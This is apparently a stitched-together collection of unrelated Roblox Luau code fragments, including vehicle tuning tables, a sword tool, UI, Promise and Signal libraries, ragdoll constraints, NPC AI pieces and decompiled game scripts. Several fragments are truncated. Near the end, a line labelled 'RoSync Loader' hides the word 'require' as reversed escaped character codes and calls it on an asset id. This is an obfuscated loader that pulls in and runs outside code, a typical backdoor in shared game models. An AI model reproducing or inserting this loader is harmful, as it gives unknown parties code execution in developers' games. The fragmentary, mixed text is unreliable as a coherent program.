Resize the cylinder to match your wheel's size in all axes.
Move the hinges to the top of their respective items, and don't group it with anything else.
TripleTreeHinge goes on the top of the handlebars in the center.
RearSwingArmHinge goes in the center of the suspension hinge.
Tune the bike using the Tuner.
:: Changelog
||
NCT: M | Beta Version 1 | Released on: 08/25/2019
:: The First Public Beta Release
:: Pertaining to build: [1]
:: Pertaining to version: [1]
[Notes]
This is the first release of the bike chassis.
There are countless new features, and different structures to the chassis.
You are advised to completely go through the Tuner, along with the plugins.
Please send any bugs or suggestion to Avxnturador, or to the Novena server.
There are no update instructions.
||
--]]
|
return "BETA"
|
--For R15 avatars
|
local Animations = {
R15Slash = 522635514,
R15Lunge = 522638767
}
local Damage = DamageValues.BaseDamage
local Grips = {
Up = CFrame.new(0, 0, -1.70000005, 0, 0, 1, 1, 0, 0, 0, 1, 0),
Out = CFrame.new(0, 0, -1.70000005, 0, 1, 0, 1, -0, 0, 0, 0, -1)
}
local Sounds = {
Slash = Handle:WaitForChild("SwordSlash"),
Lunge = Handle:WaitForChild("SwordLunge"),
Unsheath = Handle:WaitForChild("Unsheath")
}
local ToolEquipped = false
Tool.Grip = Grips.Up
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
repeat wait(0.5) until Tool.Parent:FindFirstChildWhichIsA("Humanoid")
local params = RaycastParams.new()
params.FilterDescendantsInstances = workspace.characters:GetChildren()
params.FilterType = Enum.RaycastFilterType.Blacklist
local hitBox = RaycastHitbox.new(script.Parent:WaitForChild("Handle"))
hitBox.RaycastParams = params
hitBox.OnHit:Connect(function(Hit, humanoid)
hitBox:HitStop()
hitBox:HitStart()
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then
return
end
if not humanoid then
return
end
local character = Hit.Parent
if character == Character then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
if Tool.Parent.Parent ~= humanoid.Parent.Parent then
humanoid:TakeDamage(Damage)
end
end)
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Slash")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Lunge")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
wait(0.2)
Tool.Grip = Grips.Out
wait(0.6)
Tool.Grip = Grips.Up
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--wait(0.5)
Damage = DamageValues.BaseDamage
local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){
Name = "R15Slash",
AnimationId = BaseUrl .. Animations.R15Slash,
Parent = Tool
})
local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){
Name = "R15Lunge",
AnimationId = BaseUrl .. Animations.R15Lunge,
Parent = Tool
})
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChildOfClass("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Sounds.Unsheath:Play()
hitBox:HitStart()
end
function Unequipped()
Tool.Grip = Grips.Up
ToolEquipped = false
hitBox:HitStop()
end
Tool.Activated:Connect(Activated)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
|
-- functions
|
function onDied()
stopLoopedSounds()
sDied:Play()
end
local fallCount = 0
local fallSpeed = 0
function onStateFall(state, sound)
fallCount = fallCount + 1
if state then
sound.Volume = 0
sound:Play()
Spawn( function()
local t = 0
local thisFall = fallCount
while t < 1.5 and fallCount == thisFall do
local vol = math.max(t - 0.3 , 0)
sound.Volume = vol
wait(0.1)
t = t + 0.1
end
end)
else
sound:Stop()
end
fallSpeed = math.max(fallSpeed, math.abs(Head.Velocity.Y))
end
function onStateNoStop(state, sound)
if state then
sound:Play()
end
end
function onRunning(speed)
sClimbing:Stop()
sSwimming:Stop()
if (prevState == "FreeFall" and fallSpeed > 0.1) then
local vol = math.min(1.0, math.max(0.0, (fallSpeed - 50) / 110))
sLanding.Volume = vol
sLanding:Play()
fallSpeed = 0
end
if speed>0.5 then
sRunning.Playing = true
sRunning.Pitch = 1.85
else
sRunning:Stop()
end
prevState = "Run"
end
function onSwimming(speed)
if (prevState ~= "Swim" and speed > 0.1) then
local volume = math.min(1.0, speed / 350)
sSplash.Volume = volume
sSplash:Play()
prevState = "Swim"
end
sClimbing:Stop()
sRunning:Stop()
sSwimming.Pitch = 1.6
sSwimming:Play()
end
function onClimbing(speed)
sRunning:Stop()
sSwimming:Stop()
if speed>0.01 then
sClimbing:Play()
sClimbing.Pitch = speed / 5.5
else
sClimbing:Stop()
end
prevState = "Climb"
end
|
--[[**
ensures Roblox Axes type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.Axes = primitive("Axes")
|
-- Instance options
|
local DEFAULT_ATTACHMENT_INSTANCE: string = "DmgPoint"
local DEFAULT_GROUP_NAME_INSTANCE: string = "Group"
|
-- Get references to the DockShelf and its children
|
local dockShelf = script.Parent.Parent.WindowManager.CtxtMenu
local aFinderButton = dockShelf.Sys
local window = script.Parent.Parent.WindowManager.SysVersion
|
--while wait(.5) do
-- if isIntermission then
-- suff = 1+(suff+3)%3
-- script.Parent.Holder.TextLabel.Text = 'Intermission'..string.rep('.',suff)
-- end
--end
| |
--[[Weight and CG]]
|
Tune.Weight = 3214 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 4 ,
--[[Length]] 15 }
Tune.WeightDist = 51 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- USER PARAMETERS
|
local wheelSpeed = 0.02
local values = {50, 4, 8, 6, 2, 500} -- Light blue, Dark blue, Purple, Orange, Yellow, Green
local jpChance = 1 -- The jackpot is won once every XX tries when someone hits the jackpot light.
|
--[=[
Creates a new function which will return an observable that, given the props
in question, will construct a new instance and assign all props. This is the
equivalent of a pipe-able Rx command.
```lua
local render = Blend.New "ScreenGui" {
Parent = game.Players.LocalPlayer.PlayerGui;
Blend.New "Frame" {
Size = UDim2.new(1, 0, 1, 0);
BackgroundTransparency = 0.5;
};
};
maid:GiveTask(render:Subscribe(function(gui)
print(gui)
end))
```
@param className string
@return (props: { [string]: any; }) -> Observable<Instance>
]=]
|
function Blend.New(className)
assert(type(className) == "string", "Bad className")
local defaults = BlendDefaultProps[className]
return function(props)
return Observable.new(function(sub)
local instance = Instance.new(className)
if defaults then
for key, value in pairs(defaults) do
instance[key] = value
end
end
local maid = Blend.mount(instance, props)
maid:GiveTask(instance)
sub:Fire(instance)
return maid
end)
end
end
|
--!strict
-- upstream: https://github.com/facebook/react/blob/98d410f5005988644d01c9ec79b7181c3dd6c847/packages/react/src/ReactDebugCurrentFrame.js
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
]]
|
local ReactDebugCurrentFrame = {}
local currentExtraStackFrame = (nil :: nil | string)
function ReactDebugCurrentFrame.setExtraStackFrame(stack: string?): ()
if _G.__DEV__ then
currentExtraStackFrame = stack
end
end
if _G.__DEV__ then
-- deviation: in Lua, the implementation is duplicated
-- function ReactDebugCurrentFrame.setExtraStackFrame(stack: string?)
-- if _G.__DEV__ then
-- currentExtraStackFrame = stack
-- end
-- end
-- Stack implementation injected by the current renderer.
ReactDebugCurrentFrame.getCurrentStack = (nil :: nil | (() -> string))
function ReactDebugCurrentFrame.getStackAddendum(): string
local stack = ""
-- Add an extra top frame while an element is being validated
if currentExtraStackFrame then
stack = stack .. currentExtraStackFrame
end
-- Delegate to the injected renderer-specific implementation
local impl = ReactDebugCurrentFrame.getCurrentStack
if impl then
stack = stack .. (impl() or "")
end
return stack
end
end
return ReactDebugCurrentFrame
|
-- Current map instance. There can only be one loaded map at a time
|
local map = false
local mapContainer = workspace:FindFirstChild(MAP_CONTAINER_NAME)
|
-----RandomDebris-----
|
local Colors = {
Color3.fromRGB(91, 91, 91),
}
local Materials = {
Enum.Material.Plastic,
}
local RunService = game:GetService'RunService'
local rad = math.rad
local clock = os.clock
local noise = math.noise
local random = math.random
local Heartbeat = RunService.Heartbeat
local xseed = random(10000, 100000)
local yseed = random(10000, 100000)
local zseed = random(10000, 100000)
local x = noise(xseed, clock() % 1000 * 0.5) * 360
local y = noise(yseed, clock() % 1000 * 0.5) * 360
local z = noise(zseed, clock() % 1000 * 0.5) * 360
local function spinPart(part)
while part do
part.CFrame = CFrame.new(part.Position) * CFrame.Angles(rad(x), rad(y), rad(z))
Heartbeat:Wait()
end
end
|
-- SETTINGS ----------------------------------
|
local timeToRespawn = 60
local allowDamage = true
|
--[[
-- Alternate script for NPCS to have Ragdoll Death. Copy this code and put it into a script inside an NPC.
local c = script.Parent
c.Humanoid.BreakJointsOnDeath = false
c.Humanoid.Died:Connect(function()
c.HumanoidRootPart.RotVelocity = Vector3.new(10,10,10) -- Hopefully makes it so whenever you die, you don't just stand still. Feel free to remove it lols
for _, v in pairs(c:GetDescendants()) do
if v:IsA("Motor6D") then
local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment")
a0.CFrame = v.C0
a1.CFrame = v.C1
a0.Parent = v.Part0
a1.Parent = v.Part1
local b = Instance.new("BallSocketConstraint")
b.Attachment0 = a0
b.Attachment1 = a1
b.Parent = v.Part0
v:Destroy()
end
end
c.HumanoidRootPart.CanCollide = false
end)
]]
| |
--Effects--
|
FLSmoke = script.Plugins.Effects.TireSmoke:Clone()
FLSmoke.Parent = SSML
FLSmoke.Rate = 0
FRSmoke = script.Plugins.Effects.TireSmoke:Clone()
FRSmoke.Parent = SSMR
FRSmoke.Rate = 0
RLSmoke = script.Plugins.Effects.TireSmoke:Clone()
RLSmoke.Parent = zBRL
RLSmoke.Rate = 0
RRSmoke = script.Plugins.Effects.TireSmoke:Clone()
RRSmoke.Parent = zBRR
RRSmoke.Rate = 0
if SpeedoReading == "MPH" then
script.Assets.Screen.Simulated.TY.Value = false
else
script.Assets.Screen.Simulated.TY.Value = true
end
|
--[=[
@return Promise
Starts Knit. Should only be called once.
Optionally, `KnitOptions` can be passed in order to set
Knit's custom configurations.
:::caution
Be sure that all services have been created _before_
calling `Start`. Services cannot be added later.
:::
```lua
Knit.Start():andThen(function()
print("Knit started!")
end):catch(warn)
```
Example of Knit started with options:
```lua
Knit.Start({
Middleware = {
Inbound = {
function(player, args)
print("Player is giving following args to server:", args)
return true
end
},
},
}):andThen(function()
print("Knit started!")
end):catch(warn)
```
]=]
|
function KnitServer.Start(options: KnitOptions?)
if started then
return Promise.reject("Knit already started")
end
started = true
if options == nil then
selectedOptions = defaultOptions
else
assert(typeof(options) == "table", "KnitOptions should be a table or nil; got " .. typeof(options))
selectedOptions = options
for k,v in pairs(defaultOptions) do
if selectedOptions[k] == nil then
selectedOptions[k] = v
end
end
end
return Promise.new(function(resolve)
local knitMiddleware = selectedOptions.Middleware or {}
-- Bind remotes:
for _,service in pairs(services) do
local middleware = service.Middleware or {}
local inbound = middleware.Inbound or knitMiddleware.Inbound
local outbound = middleware.Outbound or knitMiddleware.Outbound
service.Middleware = nil
for k,v in pairs(service.Client) do
if type(v) == "function" then
service.KnitComm:WrapMethod(service.Client, k, inbound, outbound)
elseif v == SIGNAL_MARKER then
service.Client[k] = service.KnitComm:CreateSignal(k, inbound, outbound)
elseif type(v) == "table" and v[1] == PROPERTY_MARKER then
service.Client[k] = service.KnitComm:CreateProperty(k, v[2], inbound, outbound)
end
end
end
-- Init:
local promisesInitServices = {}
for _,service in pairs(services) do
if type(service.KnitInit) == "function" then
table.insert(promisesInitServices, Promise.new(function(r)
debug.setmemorycategory(service.Name)
service:KnitInit()
r()
end))
end
end
resolve(Promise.all(promisesInitServices))
end):andThen(function()
-- Start:
for _,service in pairs(services) do
if type(service.KnitStart) == "function" then
task.spawn(function()
debug.setmemorycategory(service.Name)
service:KnitStart()
end)
end
end
startedComplete = true
onStartedComplete:Fire()
task.defer(function()
onStartedComplete:Destroy()
end)
-- Expose service remotes to everyone:
knitRepServiceFolder.Parent = script.Parent
end)
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
return function(p1)
local v1 = {
Name = "Prompt",
Title = "Prompt",
Size = { 225, 150 },
SizeLocked = true
};
local u1 = nil;
function v1.OnClose()
if not u1 then
u1 = "No";
end;
end;
local v2 = client.UI.Make("Window", v1);
local v3 = v2:Add("TextLabel", {
Text = p1.Question,
Font = "SourceSans",
TextScaled = true,
BackgroundTransparency = 1,
TextScaled = true,
TextWrapped = true,
Size = UDim2.new(1, -10, 0.7, -5)
});
local v4 = v2:Add("TextButton", {
Text = "No",
Font = "Arial",
TextSize = 18,
Size = UDim2.new(0.5, -5, 0.3, -5),
Position = UDim2.new(0.5, 0, 0.7, 0),
BackgroundColor3 = Color3.fromRGB(206, 72, 45),
BackgroundTransparency = 0.5
});
v2:Add("TextButton", {
Text = "Yes",
Font = "Arial",
TextSize = 18,
Size = UDim2.new(0.5, -5, 0.3, -5),
Position = UDim2.new(0, 5, 0.7, 0),
BackgroundColor3 = Color3.fromRGB(74, 195, 56),
BackgroundTransparency = 0.5
}).MouseButton1Down:connect(function()
u1 = "Yes";
v2:Close();
end);
v4.MouseButton1Down:connect(function()
u1 = "No";
v2:Close();
end);
local l__gTable__5 = v2.gTable;
v2:Ready();
while true do
wait();
if u1 then
break;
end;
end;
return nil;
end;
|
-- ENTITIES
|
if Configuration.AmbushSoundsEnabled == false then
Folder.Entities.Ambush:Destroy()
end
if Configuration.EyesSoundsEnabled == false then
Folder.Entities.Eyes:Destroy()
end
if Configuration.FigureSoundsEnabled == false then
Folder.Entities.Figure:Destroy()
end
if Configuration.GlitchSoundsEnabled == false then
Folder.Entities.Glitch:Destroy()
end
if Configuration.HaltSoundsEnabled == false then
Folder.Entities.Halt:Destroy()
end
if Configuration.HideSoundsEnabled == false then
Folder.Entities.Hide:Destroy()
end
if Configuration.RushSoundsEnabled == false then
Folder.Entities.Rush:Destroy()
end
if Configuration.SeekSoundsEnabled == false then
Folder.Entities.Seek:Destroy()
end
if Configuration.TimothySoundsEnabled == false then
Folder.Entities.Timothy:Destroy()
end
if Configuration.JackSoundsEnabled == false then
Folder.Entities.Jack:Destroy()
end
|
--[=[
Returns whether or not the promise is pending
@return bool -- True if pending, false otherwise
]=]
|
function Promise:IsPending()
return self._pendingExecuteList ~= nil
end
|
--[[
Various ragdoll constraints that are used depending on what type
of joint they're being applied to.
This is meant to work with any character, but is mostly tailored
to characters with legs/arms, as it is impossible to satisfy all
use cases in a generic way. You can for sure make a spider with 8
legs by sticking to the same naming conventions as R15
(e.g. LeftUpperLeg1, 2, 3, ...), but something like an eel is not
going to come for free out of the box, at least perfectly. That said,
there is a Default waist-like joint for all unknown joint types. It
won't be perfect, but it will be functional.
If these joint types do not satisfy your use cases, you can tweak them
or add new ones! Just modify or add to this module's children. These
constraints are automatically selected based on the last word of the
joint's name (e.g. Hip from LeftHip). Things to know if you are
changing them:
Shoulder twist angles should not be lowered any further or the ragdoll's
arms will get stuck in "Aliens" position often
https://i.imgur.com/Ck5j34M.jpg
Neck is using a HingeConstraint because BallSocketConstraints are
kind of unstable for the head.
https://gfycat.com/GrotesqueFirsthandBluebottlejellyfish
Ankle and Wrist are HingeConstraints because twist limits are not
enough for BallSocketConstraints -- due to the "try to do x"
rather than "force x" nature of constraints, twist limits are
given a small margin where they are not applied close to 0, and
this causes the wrists/ankles to jitter back and forth when they
are suspended in air. Other limbs are generally not suspended in
air, so it's only necessary for Ankle/Wrist joints.
--]]
|
local getLastWordFromPascaleCase = require(script.Parent:WaitForChild("getLastWordFromPascalCase"))
local constraints = {}
for _,v in pairs(script:GetChildren()) do
constraints[v.Name] = v
end
function getConstraintTemplate(jointName)
jointName = getLastWordFromPascaleCase(jointName)
return constraints[jointName] or constraints.Default
end
function createConstraint(jointData)
local jointName = jointData.Joint.Name
local constraint = getConstraintTemplate(jointName):Clone()
constraint.Attachment0 = jointData.Attachment0
constraint.Attachment1 = jointData.Attachment1
constraint.Name = jointName.."RagdollConstraint"
-- Constraints don't work if there is a rigid joint connecting its two parts,
-- so when we enter ragdoll we need to turn off the joint, and turn it back on
-- when we leave ragdoll. This allows us to tell which joint corresponds with
-- which constraint
local rigidPointer = Instance.new("ObjectValue", constraint)
rigidPointer.Name = "RigidJoint"
rigidPointer.Value = jointData.Joint
return constraint
end
return function(attachmentMap)
local ragdollConstraints = Instance.new("Folder")
ragdollConstraints.Name = "RagdollConstraints"
for attachmentName,jointData in pairs(attachmentMap) do
if jointData.Joint.Name ~= "Root" then
local ragdollConstraint = createConstraint(jointData)
ragdollConstraint.Parent = ragdollConstraints
end
end
return ragdollConstraints
end
|
--!strict
|
local Array = script.Parent.Parent
local LuauPolyfill = Array.Parent
local types = require(LuauPolyfill.types)
type Object = types.Object
type Array<T> = types.Array<T>
type Set<T> = types.Set<T>
type mapFn<T, U> = (element: T, index: number) -> U
type mapFnWithThisArg<T, U> = (thisArg: any, element: T, index: number) -> U
return function<T, U>(
value: Set<T>,
mapFn: (mapFn<T, U> | mapFnWithThisArg<T, U>)?,
thisArg: Object?
-- FIXME Luau: need overloading so the return type on this is more sane and doesn't require manual casts
): Array<U> | Array<T> | Array<string>
local array = {}
if mapFn then
array = {}
for i, v in value :: any do
if thisArg ~= nil then
(array :: Array<U>)[i] = (mapFn :: mapFnWithThisArg<T, U>)(thisArg, v, i)
else
(array :: Array<U>)[i] = (mapFn :: mapFn<T, U>)(v, i)
end
end
else
array = table.clone((value :: any)._array)
end
return array
end
|
--Returns the player that reflected the rocket, if any.
|
local function GetReflectedByPlayer()
local ReflectedByValue = FiredByValue:FindFirstChild("ReflectedBy")
return ReflectedByValue and ReflectedByValue.Value
end
|
-- ^
--]] Change "Credit" to the name of the frame ^
| |
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.ButtonB ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.ButtonL3 ,
}
|
--[[
Calls a callback on `andThen` with specific arguments.
]]
|
function Promise.prototype:andThenCall(callback, ...)
assert(type(callback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:andThenCall"))
local length, values = pack(...)
return self:_andThen(debug.traceback(nil, 2), function()
return callback(unpack(values, 1, length))
end)
end
|
-- Removes all player weapons at the start of a transition
|
function PlayerManager.removeWeapons()
for playerKey, whichPlayer in pairs(activePlayers) do
removePlayerWeapon(whichPlayer)
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
script.Parent.MouseButton1Down:Connect(function()
script.Parent.Parent.Visible = false;
if game.Players.LocalPlayer.Days.Value >= 3 then
for v1 = 1, #"Here we go." do
script.Parent.Parent.Parent.DialogText.TextLabel.Text = string.sub("Here we go.", 1, v1);
wait();
end;
end;
if game.Players.LocalPlayer.Days.Value >= 3 then
script.Parent.Parent.Parent.Dialog3.Visible = true;
return;
end;
script.Parent.Parent.Parent.Dialog2.Visible = true;
end);
|
--[=[
Returns Maid[key] if not part of Maid metatable
```lua
local maid = Maid.new()
maid._current = Instance.new("Part")
print(maid._current) --> Part
maid._current = nil
print(maid._current) --> nil
```
@param index any
@return MaidTask
]=]
|
function Maid:__index(index)
if Maid[index] then
return Maid[index]
else
return self._tasks[index]
end
end
|
--[[
Change log:
09/18
Fixed checkbox mouseover sprite
Encapsulated checkbox creation into separate method
Fixed another checkbox issue
09/15
Invalid input is ignored instead of setting to default of that data type
Consolidated control methods and simplified them
All input goes through ToValue method
Fixed position of BrickColor palette
Made DropDown appear above row if it would otherwise exceed the page height
Cleaned up stylesheets
09/14
Made properties window scroll when mouse wheel scrolled
Object/Instance and Color3 data types handled properly
Multiple BrickColor controls interfering with each other fixed
Added support for Content data type
--]]
|
wait(0.2)
local math_floor = math.floor
local math_ceil = math.ceil
local math_max = math.max
local string_len = string.len
local string_sub = string.sub
local string_gsub = string.gsub
local string_split = string.split
local string_format = string.format
local string_find = string.find
local string_lower = string.lower
local table_concat = table.concat
local table_insert = table.insert
local table_sort = table.sort
local Instance_new = Instance.new
local Color3_fromRGB = Color3.fromRGB
local Color3_new = Color3.new
local UDim2_new = UDim2.new
local Vector3_new = Vector3.new
local Vector2_new = Vector2.new
local NumberRange_new = NumberRange.new
local BrickColor_palette = BrickColor.palette
local function Create(ty,data)
local obj
if type(ty) == 'string' then
obj = Instance.new(ty)
else
obj = ty
end
for k, v in pairs(data) do
if type(k) == 'number' then
v.Parent = obj
else
obj[k] = v
end
end
return obj
end
local Gui = script.Parent.Parent
local PropertiesFrame = Gui:WaitForChild("PropertiesFrame")
local ExplorerFrame = Gui:WaitForChild("ExplorerPanel")
local print = ExplorerFrame:WaitForChild("GetPrint"):Invoke()
|
-- METHODS
|
function Signal:Fire(...)
for _, connection in pairs(self.connections) do
connection.Handler(...)
end
if self.totalWaiting > 0 then
local packedArgs = table.pack(...)
for waitingId, _ in pairs(self.waiting) do
self.waiting[waitingId] = packedArgs
end
end
end
Signal.fire = Signal.Fire
function Signal:Connect(handler)
if not (type(handler) == "function") then
error(("connect(%s)"):format(typeof(handler)), 2)
end
local signal = self
local connectionId = HttpService:GenerateGUID(false)
local connection = {}
connection.Connected = true
connection.ConnectionId = connectionId
connection.Handler = handler
self.connections[connectionId] = connection
function connection:Disconnect()
signal.connections[connectionId] = nil
connection.Connected = false
signal.totalConnections -= 1
if signal.connectionsChanged then
signal.connectionsChanged:Fire(-1)
end
end
connection.Destroy = connection.Disconnect
connection.destroy = connection.Disconnect
connection.disconnect = connection.Disconnect
self.totalConnections += 1
if self.connectionsChanged then
self.connectionsChanged:Fire(1)
end
return connection
end
Signal.connect = Signal.Connect
function Signal:Wait()
local waitingId = HttpService:GenerateGUID(false)
self.waiting[waitingId] = true
self.totalWaiting += 1
repeat heartbeat:Wait() until self.waiting[waitingId] ~= true
self.totalWaiting -= 1
local args = self.waiting[waitingId]
self.waiting[waitingId] = nil
return unpack(args)
end
Signal.wait = Signal.Wait
function Signal:Destroy()
if self.bindableEvent then
self.bindableEvent:Destroy()
self.bindableEvent = nil
end
if self.connectionsChanged then
self.connectionsChanged:Fire(-self.totalConnections)
self.connectionsChanged:Destroy()
self.connectionsChanged = nil
end
self.totalConnections = 0
for connectionId, connection in pairs(self.connections) do
self.connections[connectionId] = nil
end
end
Signal.destroy = Signal.Destroy
Signal.Disconnect = Signal.Destroy
Signal.disconnect = Signal.Destroy
return Signal
|
-- Protected
|
function BaseState:_Tick(currentTime,dt)
self.stateTime = self.stateTime + dt
self:Tick(currentTime,dt,self.stateTime)
end
|
--[[ Last synced 12/18/2020 11:06 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
-- @Return Boolean
|
function WeaponRuntimeData:CanReload()
return self.currentAmmo < self.weaponDefinition:GetMaxAmmo()
end
|
---------------------------------------------
|
local Velocity = 120
function computeLaunchAngle(dx, dy, grav)
-- This function is nasty or what? :P
-- There are ways to solve launch angle of a projectile given a point in 3D space
-- This one solves for tan(theta)
-- Simplify the distance formula of a projectile
local g = math.abs(grav)
local inRoot = (Velocity * Velocity * Velocity * Velocity) - (g * ((g * dx * dx) + (2 * dy * Velocity * Velocity)))
if inRoot <= 0 then
return 0.25 * math.pi
end
local root = math.sqrt(inRoot)
local inATan1 = ((Velocity * Velocity) + root) / (g*dx)
local inATan2 = ((Velocity * Velocity) - root) / (g*dx)
local a1 = math.atan(inATan1)
local a2 = math.atan(inATan2)
if a1 < a2 then return a1 end
return a2
end
|
--[[
Singleton Manager that holds Window components
]]
|
local CollectionService = game:GetService("CollectionService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")
local Constants = require(ReplicatedStorage.Source.Common.Constants)
local Registry = require(ReplicatedStorage.Dependencies.GameUtils.Components.Registry)
local Window = require(ServerStorage.Source.Components.Window)
local WindowManager = {}
local registry = Registry.new(Window)
|
--[[ dusme kalkma
local dustu = false
Hum.StateChanged:Connect(function(old,new)
if dustu then
dustu = false
print("yerden kalktı")
end
if Hum:GetState() == Enum.HumanoidStateType.Physics then
dustu = true
print("yere dustu")
end
end)
--]]
| |
-- Distance = 10
|
end -- Player died.
if Logic == 0 then -- Defalt logic
target = findNearestTorso(torsoPos) --- target is some Player. FindNearest and get xdir, ydir.
if target ~= nil then
targ = target
-- if ClimbingLadder and Distance >= 1 then
-- targpos = torsoPos + AItorso.CFrame.lookVector * 9
-- else
targpos = target.Position
-- end
if Distance < 1 and (torsoPos - targpos).magnitude > 4 then -- Check if we are stuck.
GetDir()
OldX = Xdir -- Goal direction.
OldZ = Zdir
Logic = 1 -- Impeded
else
if FireAtPlayer() then -- hit
GetDir()
OldX = Xdir -- Goal direction.
OldZ = Zdir
if FireDag() then
Logic = 1 -- Go Left; Look Right.
ClimbingLadder = true -- first time thru logic 1 indicator
else
targpos = torsoPos + Vector3.new(Xdag,0,Zdag) -- go Right
end -- dagRight
end -- hit?
end -- impeded?
else
print(AIName, number, ": No target. - ", target)
|
--[[Weight and CG]]
|
Tune.Weight = 3439 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 4 ,
--[[Length]] 15 }
Tune.WeightDist = 54 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
